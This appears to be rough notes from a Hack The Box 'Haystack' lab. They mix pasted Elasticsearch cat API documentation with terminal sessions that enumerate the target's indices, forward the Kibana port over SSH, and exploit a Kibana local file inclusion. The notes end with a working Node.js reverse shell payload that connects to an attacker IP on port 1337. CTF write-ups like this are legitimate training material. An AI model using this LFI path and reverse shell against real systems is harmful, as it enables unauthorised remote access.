cat APIs

Introduction

JSON is great... for computers. Even if it's pretty-printed, trying to find relationships in the data is tedious. Human eyes, especially when looking at an ssh terminal, need compact and aligned text. The cat API aims to meet this need.

All the cat commands accept a query string parameter help to see all the headers and info they provide, and the /_cat command alone lists all the available commands.

Common parameters

Verbose

Each of the commands accepts a query string parameter v to turn on verbose output. For example:

GET /_cat/master?v

```
(root@ kali)-[/Documents/htb/boxes/haystack]
_# curl http://10.10.10.115:9200/_cat/
/ cat/allocation
/_cat/shards
/_cat/shards/{index}
/ cat/master
/_cat/nodes
/_cat/tasks
/_cat/indices
/_cat/indices/{index}
/_cat/segments
/_cat/segments/{index}
/_cat/count
/ cat/count/{index}
/_cat/recovery
/_cat/recovery/{index}
/_cat/health
/_cat/pending tasks
/_cat/aliases
/_cat/aliases/{alias}
/_cat/thread_pool
/_cat/thread_pool/{thread_pools}
/_cat/plugins
/_cat/fielddata
/_cat/fielddata/{fields}
/ cat/nodeattrs
/_cat/repositories
/_cat/snapshots/{repository}
/_cat/templates
```

```
(root® kali)-[/Documents/htb/boxes/haystack]
# curl http://10.10.10.115:9200/_cat/indices
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```

Stats Groups

A search can be associated with stats groups, which maintains a statistics aggregation per group. It can later be retrieved using the indices stats API specifically. For example, here is a search body request that associate the request with two different groups:

```
POST /_search
{
     "query" : {
         "match_all" : {}
      },
      "stats" : ["group1", "group2"]
}
```

we have 253 quotes

or

```

```

we're listening on port 5601 on localhost , we gonna do ssh forwarding , port forwarding

 \sim + shift + c

```
ssh> -L 5602:127.0.0.1:5601
Forwarding port.
```

127.0.0.1 of victim box it's gonna listening on my attacking localbox on port 5602 and forward the connection back to it on port 5601

we're listening on 5602, if we go to 127.0.0.1:5602 we see

A Local File Inclusion on Kibana found by <u>CyberArk Labs</u>, the LFI can be use to execute a reverse shell on the Kibana server with the following payload:

```
/api/console/api_server?-
sense_version=@@SENSE_VERSION&apis=../../../../../..
path/to/shell.js
```

```
[security@haystack ~]$ cd /dev/shm/
[security@haystack shm]$ vi re.js
```

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.14.23", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
```

```
